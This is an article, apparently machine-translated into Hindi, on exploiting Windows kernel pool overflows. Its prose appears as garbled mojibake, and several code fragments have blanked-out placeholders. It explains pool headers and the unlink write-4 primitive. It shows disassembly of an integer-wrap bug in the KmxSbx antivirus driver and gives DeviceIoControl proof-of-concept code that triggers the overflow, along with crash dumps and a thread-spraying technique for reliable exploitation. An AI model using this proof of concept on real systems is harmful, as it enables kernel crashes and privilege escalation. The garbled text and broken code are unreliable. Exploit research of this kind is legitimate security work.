рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рдВрдбрдмрдЧ рдбрдВрдк POOL_DESCRIPTOR рд╕рдВрд░рдЪрдирд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ:



рд╕рдВрд░рдЪрдирд╛ POOL_DESCRIPTOR

рд╕рдВрд░рдЪрдирд╛ POOL_DESCRIPTOR


рд╕реНрдкрд┐рдирд▓реЙрдХ рдХрддрд╛рд░ рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝реЗрд╢рди рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреА рд╣реИ; рдПрдЪрдПрдПрд▓ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдкреВрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдореЗрдВ рд╕рдВрдШрд░реНрд╖ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗрд╡рд▓ рдПрдХ рдкреНрд░реЛрд╕реЗрд╕рд░ рдФрд░ рдПрдХ рдереНрд░реЗрдб рдХреЛ рдкреВрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рд╕реЗ рдПрдХ рд╕рд╛рде рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред HAL рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдореЗрдВ рднрд┐рдиреНрди рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреВрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреЗ рд▓рд┐рдП, рдореБрдЦреНрдп рдиреЙрдирдкреЗрдЬреЗрдб рд╕реНрдкрд┐рдирд▓реЙрдХ рд▓реЙрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (LockQueueNonPagedPoolLock)ред рдФрд░ рдЕрдЧрд░ рдЗрд╕реЗ рдмрдВрдж рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рд╕реНрдкрд┐рдирд▓реЙрдХ рдХрддрд╛рд░ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИред



рддреАрд╕рд░реА рдФрд░ рдЕрдВрддрд┐рдо рддрд╛рд▓рд┐рдХрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░реЛрд╕реЗрд╕рд░ рджреНрд╡рд╛рд░рд╛ 4080 рдмрд╛рдЗрдЯреНрд╕ рдкрд░ рдореЗрдореЛрд░реА рд╡реЙрд▓реНрдпреВрдо рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред MmNonPagedPoolFreeListHead рдХрд╛ рдЙрдкрдпреЛрдЧ рдореЗрдореЛрд░реА рд╕реЗ рдмрд╛рд╣рд░ рдХреЗ рдмрдЪреЗ рд╣реБрдП рдЯреЗрдмрд▓ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рддрд╛рд▓рд┐рдХрд╛ рддрдХ рдкрд╣реБрдВрдЪ рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдиреЙрдирдкреЗрдЬреЗрдб рд╕реНрдкрд┐рдирд▓реЙрдХ рджреНрд╡рд╛рд░рд╛ рдореБрдЦреНрдп рдХрддрд╛рд░ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕реЗ рд▓реЙрдХрдХреНрдпреВрдпреВ рдиреЙрдирдкреЗрдЬрдбрдкреНрд▓реЙрдХ рднреА рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред



рдПрдХ рдЫреЛрдЯреЗ рдореЗрдореЛрд░реА рдмреНрд▓реЙрдХ рдХреЛ рдЦрд╛рд▓реА рдХрд░рддреЗ рд╕рдордп, ExFreePoolWithTag рдЗрд╕реЗ рдкрд┐рдЫрд▓реЗ рдФрд░ рдЕрдЧрд▓реЗ рдлреНрд░реА рдмреНрд▓реЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдкреГрд╖реНрда рдЖрдХрд╛рд░ рдпрд╛ рдЕрдзрд┐рдХ рдХрд╛ рдПрдХ рдмреНрд▓реЙрдХ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдмреНрд▓реЙрдХ MNNonPagedPoolFreeListHead рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред



рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрди рдФрд░ рд░рд┐рд▓реАрдЬ рдПрд▓реНрдЧреЛрд░рд┐рджрдо



рдУрдПрд╕ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрди рд▓рдЧрднрдЧ рдЕрдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдвреЗрд░ рд╕реЗ рдХрдо рдЬрдЯрд┐рд▓ рдирд╣реАрдВ рд╣реИред рд▓реЗрдЦ рдХреЗ рдЗрд╕ рднрд╛рдЧ рдореЗрдВ, рдореИрдВ рд╕реНрдореГрддрд┐ рдЖрдмрдВрдЯрди рдФрд░ рдирд┐рд╕реНрддрд╛рд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рджреМрд░рд╛рди рд╕рд╛рд░рдгреА рд╡реНрдпрд╡рд╣рд╛рд░ рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ рдмрддрд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред рдХрдИ рд╡рд┐рд╡рд░рдг, рдЬреИрд╕реЗ рдХрд┐ рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝реЗрд╢рди рддрдВрддреНрд░, рдЬрд╛рдирдмреВрдЭрдХрд░ рдЫреЛрдбрд╝рд╛ рдЬрд╛рдПрдЧрд╛ред рдпреЗ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╡рд┐рдзрд┐ рдХреЛ рд╕рдордЭрд╛рдиреЗ рдФрд░ рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрди рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ рд╕рдордЭрдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдВрдЧреЗред



NonPaged рдкреВрд▓ рдореЗрдВ рд╡рд┐рддрд░рдг рдПрд▓реНрдЧреЛрд░рд┐рдердо (ExAllocatePoolWithTag):



рджреГрд╢реНрдп рд╕реНрдореГрддрд┐ рдЖрд╡рдВрдЯрди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо

рджреГрд╢реНрдп рд╕реНрдореГрддрд┐ рдЖрд╡рдВрдЯрди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо


NonPaged рдкреВрд▓ рд░рд┐рд▓реАрдЬрд╝ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо (ExFreePoolWithTag):

рддрджрдиреБрд╕рд╛рд░, рд╕реНрдореГрддрд┐ рдЖрд╡рдВрдЯрди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо

рддрджрдиреБрд╕рд╛рд░, рд╕реНрдореГрддрд┐ рдЖрд╡рдВрдЯрди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо




рдореМрдд рдХреЗ рдиреАрд▓реЗ рдкрд░рджреЗ рд╕реЗ рд▓реЗрдХрд░ рдЗрдЪреНрдЫрд╛рдУрдВ рдХреА рдкреВрд░реНрддрд┐ рддрдХ



рдЬрдм рдбрд╛рдпрдирд╛рдорд┐рдХ рдореЗрдореЛрд░реА рдУрд╡рд░рдлреНрд▓реЛ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рдЕрдиреНрдп рдЖрд╡рдВрдЯрд┐рдд рдмреНрд▓реЙрдХреЛрдВ рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рдЖрдорддреМрд░ рдкрд░ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдХрдИ BugCheck (рдпрд╛ рдмрд╕ рдмреАрдПрд╕рдУрдбреА) рдХреА рдУрд░ рдЬрд╛рддрд╛ рд╣реИ:



BAD_POOL_HEADER : ExFreePoolWithTag рдХреЛрдб рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрджрд┐ рдЕрдЧрд▓реЗ рдЪрдВрдХ рдХрд╛ PreviousSize рд╡рд░реНрддрдорд╛рди рдЪрдВрдХреНрд╕ рдХреЗ BlockSize рдХреЗ рдмрд░рд╛рдмрд░ рдирд╣реАрдВ рд╣реИред



BAD_POOL_HEADER (19)

The pool is already corrupt at the time of the current request. This may or may not be due to the caller. The internal pool links must be walked to figure out a possible cause of the problem, and then special pool applied to the suspect tags or the driver verifier to a suspect driver.

Arguments:

Arg1: 00000020, a pool block header size is corrupt.

Arg2: 812c1000, The pool entry we were looking for within the page. <----

Arg3: 812c1fc8, The next pool entry. <---- ,

Arg4: 0bf90000, (reserved)








DRIVER_CORRUPTED_EXPOOL: ExFreePoolWithTag рдХреЛрдб рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрдЧрд░ рдПрдХ рдкреЗрдЬ рдлреЙрд▓реНрдЯ рдЕрдкрд╡рд╛рдж рдЕрдирд▓рд┐рдВрдХ рдХреЗ рджреМрд░рд╛рди рд╣реБрдЖред



DRIVER_CORRUPTED_EXPOOL (c5)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is caused by drivers that have corrupted the system pool. Run the driver verifier against any new (or suspect) drivers, and if that doesn't turn up the culprit, then use gflags to enable special pool.

Arguments:

Arg1: 43434343, memory referenced <----- Blink'a

Arg2: 00000002, IRQL

Arg3: 00000001, value 0 = read operation, 1 = write operation

Arg4: 80544d06, address which referenced memory








BAD_POOL_CALLER: ExFreePoolWithTag рдХреЛрдб рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЬрд┐рд╕ рдЪрдВрдХ рдХреЛ рд╡реЗ рдЫреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рд╡рд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЬрд╛рд░реА рд╣реИред



рдЪрд▓реЛ рд╢реАрд░реНрд╖рдХ рдХреЗ рд╢реАрд░реНрд╖рдХ (рдореЗрдЯрд╛рдбреЗрдЯрд╛) рдкрд░ рдХрд░реАрдм рд╕реЗ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ:



 //   typedef struct _POOL_HEADER { union { struct { USHORT PreviousSize : 9; USHORT PoolIndex : 7; USHORT BlockSize : 9; USHORT PoolType : 7; } ULONG32 Ulong1; } union { struct _EPROCESS* ProcessBilled; ULONG PoolTag; struct { USHORT AllocatorBackTraceIndex; USHORT PoolTagHash; } } } POOL_HEADER, *POOL_HEADER; // sizeof(POOL_HEADER) == 8
      
      





рдкрд┐рдЫрд▓рд╛рд╕рд╛рдЗрдЬрд╝, рдмреНрд▓реЙрдХрд╛рдЗрдЬрд╝ рдорд╛рдиреЛрдВ рдХреА рдЧрдгрдирд╛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ:



 PreviousSize = (____ + sizeof(POOL_HEADER)) / 8 BlockSize = (___ + sizeof(POOL_HEADER)) / 8
      
      







рдпрджрд┐ PoolType рдХрд╛ рдорд╛рди рд╢реВрдиреНрдп рд╣реИ, рддреЛ рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдХ chunk рдХреЛ рдореБрдХреНрдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ nt! _LIST_ENTRY рд╕рдВрд░рдЪрдирд╛ рд╢реАрд░реНрд╖ рд▓реЗрдЦ рдХрд╛ рдЕрдиреБрд╕рд░рдг рдХрд░рддреА рд╣реИред



kd> dt nt!_LIST_ENTRY

+0x000 Flink : Ptr32 _LIST_ENTRY

+0x004 Blink : Ptr32 _LIST_ENTRY








рд╢реЛрд╖рдг



рдЪрдВрдХ рд░рд┐рд▓реАрдЬрд╝ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдЗрд╕ рддрд░рд╣ рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЕрдЧрд░ рдЪрдВрдХ рд░рд┐рд▓реАрдЬрд╝ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдПрдХ рдореБрдХреНрдд рдЪрдВрдХ рд╣реИ, рддреЛ рд╡рд┐рд▓рдп рд╣реЛрддрд╛ рд╣реИ, рдпрд╛рдиреА рджреЛ рдореБрдХреНрдд рд╡рд┐рдЦрдВрдбреВ рдореЗрдВ рд╕реЗ рдПрдХ рдПрдХ рд╕рд╛рде рд╕рд░реЗрд╕ рд╕реЗ рдЬреЛрдбрд╝рд╛ рд╣реБрдЖ рд╣реИред рдпрд╣ рдПрдХ рд╕рд░рд▓ рдЕрдирд▓рд┐рдВрдХ рдСрдкрд░реЗрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред



рдбрдмрд▓ рд▓рд┐рдВрдХ рдХреА рдЧрдИ рд╕реВрдЪреА рд╕реЗ рдкреНрд░рд╡реЗрд╢ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рд╣рдЯрд╛рдПрдВ



PLIST_ENTRY b,f;

f=entry->Flink;

b=entry->Blink;

b->Flink=f;

f->Blink=b;








рдпрд╣ рдПрдХ рдирд┐рдпрдВрддреНрд░рд┐рдд рдкрддреЗ рдкрд░ 4 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреА рдУрд░ рдЬрд╛рддрд╛ рд╣реИ:



*()=

*(+4)=








рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреА рд╕рд░рд▓ рдпреЛрдЬрдирд╛ рдЬрд┐рд╕реЗ рд╣рдордиреЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдерд╛

рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреА рд╕рд░рд▓ рдпреЛрдЬрдирд╛ рдЬрд┐рд╕реЗ рд╣рдордиреЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдерд╛




рд╣рдо рдЕрднреНрдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ!



рдкрд░реНрдпрд╛рдкреНрдд рдЬреНрдЮрд╛рди рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдПрдХ рдПрдХрд▓ рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рдЙрддреНрдкрд╛рдж рдХреЗ рдЪрд╛рд▓рдХ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред



.text:00016330 mov cx, [eax] ; eax

.text:00016333 inc eax

.text:00016334 inc eax

.text:00016335 test cx, cx

.text:00016338 jnz short loc_16330

.text:0001633A sub eax, edx

.text:0001633C sar eax, 1

.text:0001633E lea eax, [eax+eax+50h] ; UNICODE + 0x50

.text:00016342 movzx edi, ax ; , WORD

.text:00016345

.text:00016345 loc_16345:;

.text:00016345 movzx eax, di

.text:00016348 push ebx

.text:00016349 xor ebx, ebx

.text:0001634B cmp eax, ebx

.text:0001634D jz short loc_16359

.text:0001634F push eax; -

.text:00016350 push ebx; (NonPaged)

.text:00016351 call ds:ExAllocatePool ; chunk'a

.text:00016357 mov ebx, eax

[..]

.text:000163A6 movzx esi, word ptr [edx]

.text:000163A9 mov [eax+edx], si ;

.text:000163AD inc edx

.text:000163AE inc edx

.text:000163AF test si, si

[..]

.text:000163F5 push ebx; P

.text:000163F6 call sub_12A43

.text:00012A43 sub_12A43 proc near; CODE XREF: sub_12C9A+5Cp

.text:00012A43; sub_12C9A+79p ...

.text:00012A43

.text:00012A43 P = dword ptr 4

.text:00012A43

.text:00012A43 cmp esp+P], 0

.text:00012A48 jz short locret_12A56

.text:00012A4A push 0; Tag

.text:00012A4C push [esp+4+P]; P

.text:00012A50 call ds:ExFreePoolWithTag ; , write4








рд╕реА-рдЬреИрд╕реЗ рдЫрджреНрдо рдХреЛрдб

 len = wsclen(attacker_controlled); total_len = (2*len + 0x50) ; size_2_alloc = (WORD)total_len; // integer wrap!!! mem = ExAllocatePool(size_2_alloc); .... wcscpy(mem, attacker_controlled);//     ... ExFreePool(mem); //  ,   ,   ,   ,      ,     ,    ring0-shellcode
      
      





рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдХреЛрдб рд╕реЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рднреЗрджреНрдпрддрд╛ рдкреВрд░реНрдгрд╛рдВрдХ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рд░реВрдкрд╛рдВрддрд░рдг рд╕реЗ рдЬреБрдбрд╝реА рд╣реИ, рдЬреЛ рдЗрд╕ рддрдереНрдп рдХреА рдУрд░ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпреВрдирд┐рдХреЛрдб рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЖрдХрд╛рд░ рдХреА рд╕рд╣реА рдЧрдгрдирд╛ рдирд╣реАрдВ рдХреА рдЬрд╛рдПрдЧреАред рдпрджрд┐ рдЖрдк рдбреНрд░рд╛рдЗрд╡рд░ рдХреЛ 0xffff рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдЕрдзрд┐рдХ рдпреВрдирд┐рдХреЛрдб рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдПрдХ рдмрдлрд░ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕рднреА рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдХрд╛рд░рдг рд╣реЛрдЧрд╛ред



BSoD рдЦреЗрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░рд▓ рдХреЛрдб

 hDevice = CreateFileA("\\\\.\\KmxSbx", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL); inbuff = (char *)malloc(0x1C000); if(!inbuff){ printf("malloc failed!\n"); return 0; } memset(inbuff, 'A',0x1C000-1); memset(buff+0x11032, 0x00, 2);//end of unicode, size to allocate 0xff0 ioctl = 0x88000080; first_dword = 0x400; memcpy(buff, &first_dword, sizeof(DWORD)); DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, 0x1C000, (LPVOID)inbuff, 0x100, &cb,NULL);
      
      





рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдЙрддрдирд╛ рд╕рд░рд▓ рдирд╣реАрдВ рд╣реИ рдЬрд┐рддрдирд╛ рдкрд╣рд▓реА рдирдЬрд╝рд░ рдореЗрдВ рд▓рдЧ рд╕рдХрддрд╛ рд╣реИред рдпрд╣рд╛рдВ рдХреБрдЫ рдкреНрд░рддрд┐рдмрдВрдз рд╣реИрдВ, рдЕрд░реНрдерд╛рддреН, рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ (рдЪрдВрдХ рдХреА рд╕реАрдорд╛рдУрдВ рдкрд░ рд▓реЗрдЦрди) рдмрд╣реБрдд рдмрдбрд╝рд╛ рд╣реИ (0xffff рд╕реЗ рдЕрдзрд┐рдХ), рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ ExFreePoolWithTag рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдиреАрд▓реЗ рд╕реНрдХреНрд░реАрди рдХреА рдУрд░ рдЬрд╛рддрд╛ рд╣реИ (рдФрд░ рдЗрд╕рд▓рд┐рдП рд╡рд┐рд▓рдп рдХреЗ рджреМрд░рд╛рди рд╕рдВрдХреЗрдд рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП):



PAGE_FAULT_IN_NONPAGED_AREA (50)

Invalid system memory was referenced. This cannot be protected by try-except,

it must be protected by a Probe. Typically the address is just plain bad or it

is pointing at freed memory.

Arguments:

Arg1: fe8aa000, memory referenced.

Arg2: 00000001, value 0 = read operation, 1 = write operation.

Arg3: f0def3a9, If non-zero, the instruction address which referenced the bad memory address.

Arg4: 00000000, (reserved)

eax=00029fa8 ebx=fe8a7008 ecx=00000008 edx=fe880058 esi=00004141 edi=fe87d094

eip=f0def3a9 esp=f0011b78 ebp=f0011bac iopl=0 nv up ei pl nz na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206

KmxSbx+0x63a9:

f0def3a9 66893410 mov word ptr [eax+edx],si ds:0023:fe8aa000=???? <---- ,








рд╕реНрдореГрддрд┐ рдХреЛ рдкреБрдирд░реНрд▓реЗрдЦрди рдХрд░рддреЗ рд╕рдордп, рд╣рдо рдбреЗрдЯрд╛ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХрд┐рд╕реА рднреА рдкрд░рдорд╛рдгреБ рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреЗрддрдХ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдмрд╕реЗ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдкрд░рд┐рдгрд╛рдо (рдЕрдЧрд▓реЗ рдмреАрдПрд╕рдУрдбреА) рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред



рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреА рдкрд░рд┐рдЪрд╛рд▓рди рджрдХреНрд╖рддрд╛ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд╛рд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ: N рдереНрд░реЗрдбреНрд╕ рдмрдирд╛рдПрдБ рдЬреЛ DeviceIoControl рдХреЛ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╣рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ рдХреБрдЫ рдкреНрд░рд╛рдпрд┐рдХрддрд╛ N рдХреЗ рд╕рд╛рде рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рд▓рдВрдмрд╛рдИ рдХреЗ рдмреНрд▓реЙрдХ рдХреА рд╕рдВрдЦреНрдпрд╛ (рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ 0xff0) рдЖрд╡рдВрдЯрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдлрд┐рд░ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ - рдпрд╣ рд╣рдореЗрдВ рдПрдХ рдореМрдХрд╛ рджреЗрддрд╛ рд╣реИ, рдЙрд╕ рдУрд╡рд░рдлреНрд▓реЛ рдореЗрдВ рд╣рдореЗрдВ рдкреЗрдЬ рдлреЙрд▓реНрдЯ (PAGE_FAULT_IN_NONPAGED_AREA) рдЬреИрд╕реА рдиреАрд▓реА рд╕реНрдХреНрд░реАрди рдирд╣реАрдВ рдорд┐рд▓реЗрдЧреАред рд╣рдорд╛рд░реЗ рдбреАрд╡реАрдбреА рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕реБрдЭрд╛рдП рдЧрдП рдХреЛрдб рдирдореВрдиреЗ рдХреЛ рджреЗрдЦреЗрдВред



рджреГрд╢реНрдп рдкрд░рдорд╛рдгреБ рд╢реЗрд▓рдХреЛрдб :)

рджреГрд╢реНрдп рдкрд░рдорд╛рдгреБ рд╢реЗрд▓рдХреЛрдб :)


рдирд┐рд╖реНрдХрд░реНрд╖



рдмрд┐рджрд╛рдИ рдореЗрдВ, рдореИрдВ рдХреЗрд╡рд▓ рдпрд╣ рдХрд╣ рд╕рдХрддрд╛ рд╣реВрдВ рдХрд┐ рдХрд░реНрдиреЗрд▓ рдкреВрд▓ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдмрд╣реБрдд рдХрдо рдЬрд╛рдирдХрд╛рд░реА рд╣реИред рдпрд╣ рднреА рдкрд░реЗрд╢рд╛рди рд╣реИ рдХрд┐ рдЬрдирддрд╛ рдореЗрдВ рдХреЛрдИ рднреА рдСрдкрд░реЗрд╢рдирд▓ рдХрд╛рд░рдирд╛рдореЗ рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреБрдЫ рдЧрд▓рддрдлрд╣рдореА рдкреИрджрд╛ рд╣реЛрддреА рд╣реИ рдХрд┐ рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдореЗрдореЛрд░реА рдУрд╡рд░рдлреНрд▓реЛ рдХрд░рдирд╛ рдмрд╣реБрдд рдореБрд╢реНрдХрд┐рд▓ рд╣реИ, рдФрд░ рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ, рддреЛ рдЕрддреНрдпрд╛рдЪрд╛рд░реЛрдВ рдХрд╛ рдЕрдзрд┐рдХрддрдо рдкрд░рд┐рдгрд╛рдо рд╕рд╛рдзрд╛рд░рдг рдмреАрдПрд╕рдУрдбреА рд╣реИред



рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд▓реЗрдЦрдХреЛрдВ рдиреЗ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд╕рд╛рде рджрд┐рдЦрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдХрд┐ рд╕рд░рд▓рддрд╛ рдХреЛ рдЬреЛрдбрд╝рдХрд░, рдЗрд╕ рддрд░рд╣ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╢реЛрд╖рдг рдХреЗ рддрд░реАрдХреЛрдВ рдХреА рд╕реНрдерд┐рд░рддрд╛ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

рднрд╡рд┐рд╖реНрдп рдХреЗ рд▓реЗрдЦреЛрдВ рдореЗрдВ, рд╣рдо рдХрд░реНрдиреЗрд▓ рдкреВрд▓ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдкрд╣рд▓реБрдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░реЗрдВрдЧреЗ, рдЬреЛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдореМрдЬреВрдж рд╣реИрдВ рдФрд░ рдкрдВрдЦреЛрдВ рдореЗрдВ рдЗрдВрддрдЬрд╛рд░ рдХрд░ рд░рд╣реЗ рд╣реИрдВ :)ред рджреЗрдЦрддреЗ рд░рд╣реЛ!



